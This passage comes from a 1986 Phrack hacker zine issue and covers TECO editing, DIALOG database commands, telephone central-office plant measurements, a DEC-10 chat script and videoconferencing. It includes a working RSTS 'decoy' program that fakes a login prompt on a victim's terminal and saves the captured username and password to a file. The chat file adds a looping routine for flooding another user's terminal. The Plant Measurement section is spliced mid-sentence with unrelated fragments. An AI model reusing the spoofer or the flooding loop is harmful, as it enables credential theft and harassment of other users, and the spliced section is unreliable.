"FS" for find and replace does exactly that. It searches for a specified string of text, and if found replaces it with another sting of text. If the specified text is not found though, the pointer is positioned at the beginning of the buffer just like the "S" command. The "FS" command is of the form:

FS <old text> <ESCAPE> <new text> <ESCAPE>

For an example, to replace "hullo" with "hello!", use the command:

FShullo$hello!$

]Saving[

To save the new version of the file which you have been editing, you enter the exit command and it shall be saved in your directory. Remember though, if you wish to quit but not replace a file with your edited version, just type ^C twice.

'EX'

The "EX" command is used to write the current buffer to the output file, then exit from TECO. For example:

EX$$

(Note: Remember that <ESCAPE> is echoed as $, and typing <ESCAPE> twice causes a command to be executed.)

FLAGS

=====

The TECO text editor is not limited to the commands already shown. The editor has a few flags which can be entered at the * prompt that will modify the TECO environment.

To examine the value of a flag type:

[flag]x

Where [flag] is the specified flag and x is a numeric argument which returns text. To set the value of a flag enter:

x[flag]

Where x is the number or command being specified for the flag [flag].

'EH'

EH is the error handling flag. Here's the table of arguments and their meanings:

Value Meaning

1 If an error is encountered within the operation of TECO, only the 3‑character error code is printed.

2 If an error is encountered during operation, a short message explaining the error is printed. (default setting) 3 If an error is encountered, the command(s) which led to the error are printed.

'ET'

ET, or Edit Terminal, is the command for modifying terminal output. Table of arguments follows:

Value Meaning

1 Output is in image mode.

2 Terminal in use is a scope.

4 Terminal in use has lowercase available.

8 ^T is read without echo.

16 Cancels ^O during output.

128 TECO aborts if an error is encountered.

256 Output to screen is truncated to the terminal's width. 512 VT terminal support available.

1024 (same as above)

32768 Traps ^C

'^X'

^X, the last flag I'll mention, deals with searches. (Look above for the command to search.)

Value Meaning

0 Either case matches during searches.

1 An exact case match is required to complete a search.

CONCLUSION

==========

That just about wraps up the TECO text editor.. boring eh? But as I've said time and again, editors are important to hackers.

Till next time...

Solid State

>>>PhoneLine Phantoms!

________________________________________

File1‑ Addendum:

Here's the updated version of the decoy program (yeah, the one that had an error!) that was featured in File1. The concept of this revision is slightly different, but it 'should' work more efficiently and easily than the first. To execute the program, first do a SYstat and record the KB numbers of potential targets. Run the program, and enter the number of the KB only.. (Don't hang up!) ..then just wait till the program has ended and then check the output file.

Note: This listing will not without modification work on all systems or under all conditions.

1 ! R S T S decoy

10 EXTEND

100 ON ERROR GOTO 1000

120 PRINT CHR$(140):PRINT:PRINT

130 INPUT "To which keyboard (KB)";K$

140 K$=CVT$$(K$,4%)

200 OPEN "KB:"+K$ AS FILE #1%

220 INPUT LINE #1%,A$

230 IF CVT$$(A$,4%)="" THEN 220

240 PRINT #1%

240 PRINT #1%,"RSTS"

250 PRINT #1%

260 PRINT #1%,"User: ";

270 INPUT LINE #1%,U$:U$=CVT$$(U$,4%)

280 T$=SYS(CHR$(3%))

290 PRINT #1%,"Password: ";

300 INPUT LINE #1%,P$:P$=CVT$$(P$,4%)

310 Z$=SYS(CHR$(2%))

320 PRINT #1%

330 PRINT #1%,"Invalid entry ‑ try again":PRINT #1%

340 CLOSE #1%

400 OPEN "DATA.TXT" FOR OUTPUT AS FILE #2%

410 PRINT #2%,U$;";";P$

420 CLOSE #2%

999 END

Inside Dialog

==Phrack Inc.==

Volume One, Issue Nine, Phile #5 of 10

<********************************

<*

<* Inside Dialog *>

<* By *>

<* Ctrl C *> <* Advanced Telecommunications Inc. *>

<*

<********************************

DIALOG is one of the largest online databases. DIALOG currently provides access to over 250 databases containing a total of over 100 Million records. The range of information available is enormous.

BEGIN:

The BEGIN command starts a search and tells Dialog which database you want it to check out. The BEGIN command is followed (without a space) by the file number of the database you want. Either of the following ways could get you into the file 229 (Drug information):

Begin229

or

B229

Dialog will then put the date, the time, your user number, and what it costs for the database you just left. For example, if you move from ERIC (file 1) to Management Contents (file 75) it would look like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

? b75

28sep86 13:59:25 User08331 $0.10 0.00 Hrs File1

$0.02 Uninet

$0.12 Estimated Total Cost File75:Management Contents ‑ 74‑86/Sep

(Corp. Management Contents Inc.)

Set Items Description

___ _____ ___________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EXPAND:

The EXPAND command is used to pick keywords for a search. You can search for any word; but knowing how common a word is gives you a good idea where to start your search.

All databases have a index of searchable words. You can see if there are any words of the same spelling to a keyword you want to search for. For example:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

? Expand Drink

Ref Items Index‑term

E1 1 Drina

E2 1 Drinfeld

E3 31 *Drink

E4 2 Drinkers

. . .

. . .

. . .

E12 3 Dripping

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The word ‑more‑ at the bottom of the screen means that typing Page or P will display another screen of information.

SELECT:

When you find the word you want to search for, you use the SELECT command to tell the database what to search for. The SELECT command can be followed with one or more search terms.

SELECT STEP:

The SELECT STEP command works just like the SELECT command, except the files it finds are listed separately.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

? SS television? OR tv

1 21347 TELEVISION

2 6376 TV

3 22690 1 or 2

? SS s3 AND violen? AND child?

4 1680 VIOLEN?

5 20577 CHILD?

6 38 3 AND 4 AND 5

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TYPE and DISPLAY:

There are two commands, TYPE and DISPLAY, that you can use to look over the information you have found. The difference is the TYPE command causes a non‑stop list of the information. The DISPLAY lets the information to list a page at a time, you have to type PAGE or P to see the next page.

DIALOG offers nine formats to display retrieved files.

Format Parts of Record Listed

~~~~~~ ~~~~~ ~~ ~~~~~~ ~~~~~~

1 Accession Number

2 Complete record except abstract 3 Bibliographic citation

4 File dependent

5 Complete record

6 Accession number and title

7 Bibliographic citation and abstract 8 Accession number, title, and indexing 9 File dependent

LOGOFF:

The LOGOFF command has no abbreviation. It's self explanatory.

DIALOG is has help commands, typing ?HELP, or ?EXPLAIN will give you help.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

? ?EXPLAIN

Valid EXPLAIN commands are:

Basic Commands:

?BEGIN ?ENDSDI ?MAPRN ?SCREEN

?COMBINE ?EXPAND ?ORDER ?SELECT

?COST ?KEEP ?PAGE ?SFILES

?DISPLAY ?LIMIT ?PRINT ?SORT

?DS ?LIST ?REVIEW ?TYPE

?ENDSAVE ?LOGOFF

***

News/Status:

?DIALINDX ?FILESUM ?ONTAP ?SUBSCRIP

?DISCOUNT ?HELP ?RATES ?SUPPLRS

?EXPLAIN ?INSTRUCT ?SCEDULE ?TOLLFREE

?FILES ?MESSAGE ?SDI ?TRUNCATE

?FILESAZ ?NEWS ?SEMIARS ?UPDATE

***

Telecommunication Access:

?ACCESS ?DIALNET ?SABD ?TRANSPAC

?DARDO ?FINNPAK ?TELENET ?TWX

?DATAPAC ?IDAS ?TELEPAKD ?TYMNET

?DATEX ?NORPAC ?TELEPAKS ?UNINET

?PSS ?TELEX ?WATS

***

File Information:

?FIELDn* ?FILEn* ?LIMITn* ?RATESn*

*Enter desired file# in place of the n

***

Training (DIALOG Service):

?TRAIN (For information on DIALOG

training sessions, including

descriptions of particular

training sessions.)

***

Training (Database Suppliers):

?ANZNEWS (Australia/New Zealand)

?CANNEWS (Canada)

?EURNEWS (Europe)

?KINONEWS (Kinokuniya Japan)

?MMCNEWS (Masis Japan)

?USNEWS (United States)

***

Online User Group News:

?CANOUG ?OUGNEWS MMCOUG ?USOUG

?EUROUG

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Logging on

For: Type:

Telenet C 41520

C 41548

C 213170

C 213236

Tymnet DIALOG

UNINET DIALOG

Dialnet DIALOG

To dial directly:

Baud: Number:

300 415/858‑2575

300 415/858‑2461

1200(Bell 202) 415/858‑2421

1200(Bell 212A)415/858‑0511

1200(Bell 212A)415/858‑2460

1200(VADIC) 415/858‑2391

WATS:

1‑800/847‑1620

1‑800/792‑6680

When it connects type P.

When you connect it will say ENTER YOUR DIALOG PASSWORD. Passwords are usually eight letters long. When you type the correct password you will see something like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ENTER YOUR DIALOG PASSWORD

XXXXXXXX LOGON File1 Sun 28sep86 18:35:12 Port866

** FILES 13,104 & 139 ARE UNAVAILABLE **

** FILE 262 SROTS ARE NOT WORKING **

** FILES 7 AND 50 ARE NOT WORKING **

And a bunch more shit..

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the announcements are done, you are given a question mark (?). The first command you will want is to move to a database. This is done by typing B(no space) and a the database number.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

? B296

28sep86 18:37:22 User08331

$0.00 0.006 Hrs File1*

$0.05 Telenet

$0.05 Estimated Total Cost

File296:ONTAP TRADEMARKSCAN ‑ O.G.

(END/SAVE, END/SDI, .EXECUTE, .RECALL, & .RELEASE invalid for file) Set Items Description

‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I don't have a list of all the databases, you'll just have to play around with it.

Here's a few I know of:

File Database

‑‑‑‑ ‑‑‑‑‑‑‑‑

75 Management Contents

201 ERIC

204 CA Search

205 BIOSIS Privews

208 Compendex

213 INSPEC

215 ABI/INFORM

216 PTS Prompt

229 Drug Information

231 CHEMNAME

247 Magazine Index

250 CAB Abstracts

254 Medline

290 Dialindex

296 TrademarkScan

Summary of command Abbreviations

B=BEGIN E=EXPAND S=SELECT SS=SELECT STEP

T=TYPE D=DISPLAY PR=PRINT P=PAGE

Dialog Training office 1‑800‑227‑8282 or 1‑800‑982‑5838

Have Fun..

<‑‑‑‑Ctrl C‑‑‑‑> ATI!

Plant Measurement

==Phrack Inc.==

Volume One, Issue Nine, Phile #6 of 10

[<+>]‑>‑>‑>‑>‑>‑>‑>‑>‑>‑>PLP<‑<‑<‑<‑<‑<‑<‑<‑<‑<‑[<+>]

|‑| ‑‑‑

|P| S [+] The Executioner [+] L |P| |h| t [+]‑PhoneLine Phantoms!‑[+] i |h|

|a| a |‑|‑===================‑|‑| n |a|

|n| l |S|‑| ‑Present‑ |‑|S| k |n| |t| a |e|‑===================‑|e| o |t| |o| g |x|‑|Plant Measurement|‑|x| L |o| |m| |y|‑===================‑|y| a |m| |s| 1 |‑|‑| Thanks to AT&T. |‑|‑| n |s|

|‑| 3 [+]‑===================‑[+] d |‑|

|P| P|

|L| [+] Carrier Culprit [+] Egyptian Lover |L| |P| [+] The Executioner [+] Solid State |P| |‑| [+] Black Majik [+] Mr. Icom |‑|

|$| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<+>]‑>‑>‑>‑>‑>‑>‑>‑>‑>‑>PLP<‑<‑<‑<‑<‑<‑<‑<‑<‑<‑[<+>]

Preface

=======

This first part in a series of three deals with how your CO measures its efficiency and hardware performance. I don't know how far I will go in this first segment so whatever I don't finish will be completed in parts two and three.

Introduction

============

Have you ever gone trashing and the only thing you found was a large printout that looked like it was written in Chinese? Did you curse yourself because you spent 30 minutes digging through someone's lunch and digestive rejectables and the only thing that was readable was a large spool that contained such acronyms as TRUNK and CAMA and LATA linked by foreign letters that you never thought could be conjugated? Well, in this 3 part series, I hope to show you that that large printout with coffee stains isn't all useless.

Types of Measurements

=====================

Now, the way your CO determines how well it is serving you is by the Plant Measurement. The purpose of these measurements is to provide maintenance personnel with a quantitative summary of the condition of the hardware and its impact on customer service.

This data is printed out at the system terminal and is used to alert personnel about problems before they occur.

Plant Measurement data is printed on the maintenance terminal via the following output messages:

1. PM01 ‑ The PM01 is a daily printout which is printed daily at 2:30 am.

2. PM02 ‑ The PM02 is a monthly summary printed immediately after the daily PM01 printout only on the 23rd of each month.

3. PM05 ‑ The PM03 is a daily printout which is printed after the PM01 or PM02 (on the 23rd). The PM05 is utilized in offices equipped with the AUTOPLEX System 100 (Advanced Mobile Telephone Service).

4. PM03 ‑ This is a daily or monthly printout which is available upon manual request.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The counts provided by the plant measurement are basically 3 types:

1. Customer Service Measurements

2. Hardware Performance Measurements

3. Base Measurements

Customer service measurements are a measure of the service received by the customer as influenced by the condition of the system's hardware. These include the number of calls to billings that are offered to the system but are delayed or lost because of marginal or faulty equipment.

Hardware Measurements are an indication of the condition of the system hardware which is described in terms of the number of errors, trouble indications, and out of service intervals. These measurements may not reflect customers directly, but do indicate how well the system is functioning.

Base Measurements that are provided are counts of the total calls carried by the system broken into various categories. These counts are necessary to normalize service counts and performance counts of mechanical units if comparisons are to be made of offices with dissimilar traffic characteristics.

Daily PM01 Output Message

=========================

The daily Plant Measurement data in the PM01 output message is organized as follows:

o Base Measurements

o Selected Customer Service Measurements

o Maintenance Measurements including emergency action (EA), maintenance interrupts, and network failures

o Performance measurements of system hardware including the central processor and bus system

o Coded enable peripheral units, peripheral units, and trunk and service circuits.

o Time‑Out totals

o Attached processor measurements

o Circuit Switch Digital Capability measurements

o Improved Public Telephone Service measurements

o Remote Switch System measurements

===================

=Base Measurements=

===================

The base measurements provided by the PPMP1A00 are needed to normalize the service counts and performance counts of units whose uses vary with the traffic load. By using these counts, meaningful comparisons can be made with past performance and with the performance of offices with dissimilar traffic characteristics. The counts are taken in terms of carried load (excluding all traffic overflow).

The BASE MEASUREMENTS are as follows, with the printout in parenthesis:

1. Originate Calls (ORIG CALLS): Counts the number customer receiver seizures for which at least 1 digit is received. The count includes partial dials (but not permanent signals) as well as additional partied added to a conference circuit. The PPMP1A00 obtains this from the traffic measurements program.

2. Incoming Calls (INC CALLS): Counts the number of calls originating from trunks incoming from distant locations that seize an incoming register (and in the case of a by‑link, receive one digit). The PPMP1A00 obtains this count directly from the traffic measurements program.

3. Outgoing Calls (OUTG CALLS): Counts the number of calls for which outpulsing is required and a transmitter is successfully seized.

4. Coin Control Seizures (COIN CONTR SEIZ): Counts the number of times the coin control circuit is successfully connected to a coin line. This count will exceed coin line originations as the coin control circuit may be seized more than once during a call.

5. CAMA Seizures (CAMA SEIZ): Counts then number of times an incoming CAMA trunk (operator or ANI) is seized.

6. AMA Entries (AMA ENTRIES): Counts the number of billing entries put on AMA tape.

7. Automatic ID. Outward Dialing Seizures (AIOD SEIZ): Counts the number of successful connections to an AIOD receiver.

8. Centrex Data Link Seizures (CTX DL SEIZ): Counts the number of connections to a centrex DL for transmission or reception of lamp and key orders. This is NOT a count of centrex calls.

9. Output Message Register (OMR SEIZ): Counts the number of seizure output message registers.

======================

=Service Measurements=

======================

The service measurements give valid indications of the level of customer service. A count of the calls lost by the system, as a result of hardware malfunctions, is a significant measure of the influence of the condition of the central office hardware on customer service. The following service measurements are provided.

1. Hardware Lost Calls (HWR LOST CALLS): Counts the number of calls dropped when a trunk is suspected and is placed on the trunk maintenance list (TML) for diagnosis or when a network failure has occurred on the call.

2. Hardware Lost Billing (HWR LOST BILLING): Counts the number of calls not billed because both AMAs are out of service (local, long distance, and special service calls are allowed to proceed without billing).

3. Coin Control Failures (COIN CONTR FAILURES): Counts the number of stuck coin conditions and coin telephones served by the office which had coin relays that were out of limits.

4. Automatic Identification Outward Dialing Special Billing Number Billing (AIOD SBN BILLING): Counts the number of times the AIOD equipment fails to bill a local PBX number correctly.

5. Dial Tone Speed Test (DTST): Counts the number of times the customer has to wait an excessive amount of time for the system to process the call because trunks in the desired trunk group are busy or the system is overloaded, causing queuing for equipment. The count includes 3‑second and 11‑second delays.

NOTE:

Maintenance personnel may find it necessary to suspend the running of the DTST because in certain trouble conditions DTST may generate traffic that would interfere with maintenance activities. Extended or frequent use of this feature is not recommended. To discourage the unnecessary use of this function, the PM01 output message will include a one‑line message alerting maintenance personnel to it's use.

6. CAMA Lost Billing (CAMA LOST BILLING): Counts the number of times a CAMA call is handled but due to hardware failure, no AMA register is available which is necessary for billing.

7. CAMA ANI Failures (CAMA ANI FAILURES): Counts the number of calls for which ANI failure digit is received.

8. Receiver Attachment Delay (RCVR ATT DELAY): Counts the number of times a receiver connection was not made in 4 seconds.

9. Receiver Attachment Delay Recorder (RADR Inhibit Usage): Counts tR described.

This is rather simple when you think about it and is one example of how a once shattered network is working together.

Some Sample CP ID Uses

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This can be used by large telephone ordering companies to instantly display a record of that persons credit, previous orders, etc... before the call is even answered on the attendant's terminal.

When someone logs onto a computer, the originating # is listed on the user log along with the account name, etc... so that if‑‑‑‑‑‑‑‑‑

The software EA phases may be initiated by the following sources:

1. A failure by the system to answer an interrupt request

2. An E‑to‑E cycle becoming excessive

3. An E‑to‑E priority class frequency failure

4. An excessive rate of interrupts

5. Two successive data validation failures

6. The time spent in a phase becoming excessive

7. Aborting of a phase

The number of EA phases is printed on the PM01 output message.

Interrupts

‑‑‑‑‑‑‑‑‑‑

The number of various maintenance interrupts provides a picture of nonroutine maintenance action taken by the system. These interrupts are generally not as serious as a higher order EA phase, but they do interrupt normal call processing to correct possible hardware problems. A counts of these interrupts will give a good indication of the state of the systems' equipment. This is printed on the PM01 output message.

Network Failures

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The network failure counts are provided to give an indication of how well the network is completing and terminating calls. Each time a network failure occurs in the system an 'NT' output message is printed. The following are printed as part of the PM01 message:

1. Supervisory Scan failure (SUPF)

2. False cross and ground test failure (FCGF)

3. Ringing Current Failure (RC)

4. Low‑line resistance failure (LLR)

5. Power Cross test (PX)

6. Restore verify failure count (RVFY)

7. Showering line test failure (SHWL)

8. Call Cutoff Failure (CO)

================================

=An Example of the PM01 Message=

================================

PM01

201‑232 PLANT MEASUREMENTS SUMMARY

TUES

10/17/86

SERVICE AFFECTING DATA

BASE MEASUREMENTS

2 ORIG CALLS

1 INC CALLS

0 OUTG CALLS

0 COIN CONTR FAILURES

0 OMR SEIZ

34 CAMA SEIZ

0 AMA ENTRIES

0 AIOD SEIZ

0 CTX D‑L SEIZ

SERVICE MEASUREMENTS

0 HWR LOST CALLS

0 HWR LOST BILLING

0 COIN CONTR FAILURES

0 AIOD‑SBN BILLING

0 DTST DELAYS

0 CAMA LOST BILLING

0 CAMA ANI FAILURE

0 RCVR ATT DELAYS

0 RADR INHIBIT USE

2 FALSE STARTS

[Note 201‑232 is the area code‑office code]

========================================

= (C) Copyright Sexy‑Exy and PLP 1986 =

Multi-User Chat Program for DEC-10's

==Phrack Inc.==

Volume One, Issue Nine, Phile #7 of 10

++++++++++++++++++++++++++++++++++++++++

(512)‑396‑1120

The Shack // presents

A Multi‑User Chat Program for DEC‑10s Original Program by

TTY‑Man

Modified and Clarified by

+++The Mentor+++

October 6th, 1986

Intro: Unlike its more sophisticated older brother, the VAX, the DEC has no easy‑to‑use communication system like the VMS PHONE utility. The following program makes use of the MIC file type available on most DECs. Each user that wishes to be involved in the conference needs to run the program from his area using the .DO COM command. The program can be entered with any editor (I recommend SED if you have VT52 emulation), and should be saved as COM.MIC. The program does not assume any specific terminal type or emulation. You will have to know the TTY number of any person you wish to add to the conference, but this is available through a .SYSTAT command or .R WHO (see below.) SYSTAT

This is an example of a SYSTAT to used to determine TTY#... Status of Saturn 7.03.2 at 7:27:51 on 03‑Oct‑86

Uptime 40:41:14, 77% Null time = 77% Idle + 0% Lost, 9% Overhead 27 Jobs in use out of 128. 27 logged in (LOGMAX of 127), 16 detached. PPN# TTY# CURR SIZE

19 [OPR] 6 OPR 56+39 HB 18

20 7,20 5 OPR 23+39 HB 24 $ 21 2501,1007 56 COMPIL 8+8 ^C 1:34 $ 22 66,1012 57 TECO 10+12 TI 39

23 66,1011 62 1022 16+55 TI 36 $ 24 [SELF] 64 SYSTAT 23+SPY RN 0 $ 26 [OPR] DET STOMPR 10+9 SL 2

27 16011,1003 DET DIRECT 17+32 ^C 30 $ 36 [OPR] DET FILDAE 17 HB 1:57

The TTY# is available in the TTY column... DET means that the user is detached and is unavailable for chatting...

Below is an example of .R WHO to obtain the same information...

/‑ jobs in use out of 127.

Job Who Line PPN

20 OPERATOR 20 5 7,20

21 DISPONDENT 56 2501,1007

22 ADP‑TBO 57 66,1012

23 ADP‑MDL 62 66,1011

24 THE MENTOR 64 XXXX,XXX

27 GEO4440103 Det 16011,1003

In each case, I am on TTY# 64...

Anyway, use the following program, it's more convenient that doing a .SEN <tty> every time you want to send a message. Also, to shut out an annoying sender, use .SET TTY GAG. To remove, .SET TTY NO GAG... pretty simple, huh?

start::

!

!Now in loop: 'a 'b 'c 'd 'e 'f

!

.mic input A,"Destination Terminal 1:"

.if ($a="") .goto welcome

.mic input B,"Destination Terminal 2:"

.if ($b="") .goto welcome

.mic input C,"Destination Terminal 3:"

.if ($c="") .goto welcome

.mic input D,"Destination Terminal 4:"

.if ($d="") .goto welcome

.mic input E,"Destination Terminal 5:"

.if ($e="") .goto welcome

.mic input F,"Destination Terminal 6:"

.if ($f="") .goto welcome

welcome::

!Sending Hello Message...

sen 'a Conference Forming on TTYs 'b 'c 'd 'e 'f ... DO COM to these to join' sen 'b Conference Forming on TTYs 'a 'c 'd 'e 'f ... DO COM to these to join' sen 'c Conference Forming on TTYs 'a 'b 'd 'e 'f ... DO COM to these to join' sen 'd Conference Forming on TTYs 'a 'b 'c 'e 'f ... DO COM to these to join' sen 'e Conference Forming on TTYs 'a 'b 'c 'd 'f ... DO COM to these to join' sen 'f Conference Forming on TTYs 'a 'b 'c 'd 'e ... DO COM to these to join' !

!Type /h for help

com::

.mic input G,"T>"

!Checking Commands.. Wait..

.if ($g="/h") .goto help

.if ($g="/k") .goto kill

.if ($g="/l") .goto list

.if ($g="/d") .goto drop

.if ($g="/t") .goto time

.if ($g="/w") .goto who

.if ($g="/u") .goto users

.if ($g="/q") .goto quit

.if ($g="/r") .backto start

.if ($g="/ac") .goto ack

!Transmitting.. Wait..

sen 'a 'g

sen 'b 'g

sen 'c 'g

sen 'd 'g

sen 'e 'g

sen 'f 'g

.backto com

help::

!

! Internal Commands

!

! /H ‑> This Menu /K ‑> Kill

! /L ‑> List Terminals /U ‑> Users

! /W ‑> R who /AC‑> Alert Caller

! /Q ‑> Quit

! /R ‑> Restart/Add

! /T ‑> Show Date/Time

! /D ‑> Drop Caller

!

! All Commands must be in lower case.

!

.backto com

list::

!

!Currently Connected To Terminals: 'a 'b 'c 'd 'e 'f

!

.backto com

who::

.revive

.r who

'<silence>

.backto com

users::

.revive

.r users

'<silence>

.BACKTO COM

QUIT::

!

!Call The Shack... 512‑396‑1120 300/1200 24 hours

!

.mic cancel

drop::

!

!Send Hangup Message:: Enter Terminal Number To Be Disconnected. !

.mic input h,"Destination Terminal Number:"

.sen 'h <=‑ Communication Terminated at '<time> ‑=>

.backto start

ack::

.mic input h,"Destination Terminal Number:"

.sen 'h %TMRR ‑ Timeout Error, Response Required, Please ACKNOWLEDGE! .backto com

kill::

!

!Send Message To Specific Terminal In A Loop

.mic input n,"Are You Sure (Y/N)?"

.if ($n="y") then .goto k1

!%Function Aborted ‑ Returning To Communication Mode.

.backto com

k1::

.mic input h,"Destination Terminal Number:"

.mic input n,"K>"

dog::

!Transmitting...CTRL‑C Aborts!

.sen 'h'n

.backto dog

time::

!

!Current Date : '<date>

!Current Time : '<time>

!

.backto com

Wasn't that neat? A feature that you can implement separately to be a pain in the ass is the recursive MIC that sends an annoying message to a specified terminal. It is almost impossible for them to shut you out without logging out unless they are already gagged.

Just create a small MIC file called BUG.MIC... to do it in two lines, simply type...

.SEN <tty # goes here> Eat hot photons, Vogon slime!

.DO BUG

That's it! I hope this comes in useful to someone out there! Give us a call at The Shack... 512‑396‑1120 300/1200 baud, 24 hours a day... And a special welcome to all the feds who will doubtlessly be calling since the number appears in here... we have nothing to hide!

Introduction to Videoconferencing

==Phrack Inc.==

Volume One, Issue Nine, Phile #8 of 10

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

"Introduction to Videoconferencing"

by Knight Lightning

Written On 10/3/86

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Hi, KL here welcoming you to a look at Videoconferencing. This is a relatively new field that definitely bears investigation as videoconferencing is only a step away from everyone having video communication in the home. Well enough is enough, I hope you enjoy the file ‑‑KL.

________________________________________

Despite the growing use of videoconferencing, confusion still exists regarding what it can and cannot do. This file should begin to help answer some of the questions about videoconferencing and perhaps formulate new ideas as well. Videoconferencing is not just one thing. It takes several different forms and can be designed in many different ways. Most of these ways are probably still waiting to be discovered.

First of all, there are two main categories of videoconferencing. There is Point‑to‑Point and Point‑to‑Multipoint.

Point‑to‑point/Two‑Way Videoconferencing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Two‑way videoconferencing enables people to conduct meetings even though the participants are in separate locations. Using interactive video and audio equipment, participants in one location can see, hear, and interact with colleagues in another location.

The most familiar example occurs regularly on TV. When a newscaster in Washington interviews a head of state on the opposite side of the world "live," that's point‑to‑point, full‑motion, full‑color videoconferencing.

Point‑to‑multipoint/One‑Way Videoconferencing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The one‑way videoconference allows an organization to present video information to large audiences in multiple locations at the same time.

One‑way videoconferences are very different from two‑way videoconferences in purpose and in implementation. Two‑way videoconferences allow small groups in two, or possibly several, locations to interact audio‑visually. In contrast, one‑way videoconferences are designed to provide a one‑way audio‑visual presentation of information from an originating site to audiences at numerous receiving locations.

The remote "audiences" are not seen by the initiators of the presentation. However, since both types of videoconferencing take place in real time, live, the audience can participate over the phone.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

There are two variations on the above listed categories of videoconferencing; Full‑motion videoconferencing and freeze‑frame videoconferencing. Each carries its own set of system requirements and each accomplishes quite different tasks.

FULL‑MOTION Videoconferencing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Full‑motion videoconferencing is like watching television. You can see participants in another location in color and in "real time" motion. You can identify who is present (provided that they are within camera range) and who is speaking. You can see facial expressions, hand gestures, and general body language. Motion video is used primarily for images of people.

Motion Transmission On Wideband Channels

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is far more information in moving pictures then in a still image. Consequently, the size of the communications channel required to transmit and receive motion is far greater than that required for a still image.

Transmission of a television signal in its original analog form (as it would come from a TV camera), requires terrestrial television channels or a satellite transponder. Terrestrial television channels are not readily available for occasional corporate use; satellite transponders are available.

Most systems therefore, incorporate digital compression techniques to reduce the bandwidth required for motion videoconferences. Example: An image in motion is refreshed on a television screen 30 times per second. This means that the bandwidth necessary to transmit the image is very high, usually 1.5 megabits per second (Mbps).

This bandwidth is beyond the capacity of the standard telephone cable. A device called a "codec" digitizes the analog television signal and compresses it by eliminating redundant information. Currently, codecs can reduce the bandwidth to 56 kilobits per second (Kbps) and it is hoped that this bandwidth can be compressed even further.

The resulting signal can be transmitted over less than full bandwidth channels. The picture is of somewhat less quality than the original analog image, but more than sufficient for most meetings.

FREEZE‑FRAME Videoconferencing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Freeze‑frame videoconferencing is like a slide show. It captures still images either in color or black‑and‑white. Freeze‑frame "stills" of people seem unnatural and can be distracting. Yet, freeze‑frame video is best for still images of three‑dimensional objects such as a product or a part, and for charts, drawings, graphics, and specially prepared presentation material.

Freeze‑Frame Transmission On Narrow Band Channels

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A freeze‑frame system captures an image by stopping, or freezing any motion that might be present. The image can be transmitted via analog or digital signals over narrow channels. These channels are considerably narrower than those used for full‑motion video conferencing. In its simplest form, freeze‑frame video can utilize ordinary telephone line transmission. A single freeze‑frame image will require at least 30 seconds to a minute or more for transmission.

In some systems, the freeze‑frame image is displayed line by line as it is received. This creates a vertical "waterfall" effect or a horizontal scanning effect. In other systems, the incoming lines of picture information are stored in a buffer until the completed picture can be displayed as a whole. In still other systems, an image emerges in successively better resolution as additional picture information is received.

Enhancements To Freeze‑Frame Video Systems

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

